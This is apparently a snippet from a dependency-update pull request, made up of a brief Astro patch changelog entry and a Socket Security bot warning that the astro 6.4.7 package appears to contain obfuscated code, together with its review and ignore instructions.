Compare Source

Patch Changes

• #​16723 0f10bfe Thanks @​matthewp!

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Action	Severity	Alert  (click "▶" to expand/collapse)
Warn		Obfuscated code: npm astro is 90.0% likely obfuscated Confidence: 0.90 Location: Package overview From: package.json → npm/astro@6.4.7 ℹ Read more on: This package | This alert | What is obfuscated code? Next steps: Take a moment to review the security alert above. Review the linked package source code to understand the potential risk. Ensure the package is not malicious before proceeding. If you're unsure how to proceed, reach out to your security team or ask the Socket team for help at support@socket.dev. Suggestion: Packages should not obfuscate their code. Consider not using packages with obfuscated code. Mark the package as acceptable risk. To ignore this alert only in this pull request, reply with the comment @SocketSecurity ignore npm/astro@6.4.7. You can also ignore all packages with @SocketSecurity ignore-all. To ignore an alert for all future pull requests, use Socket's Dashboard to change the triage state of this alert.

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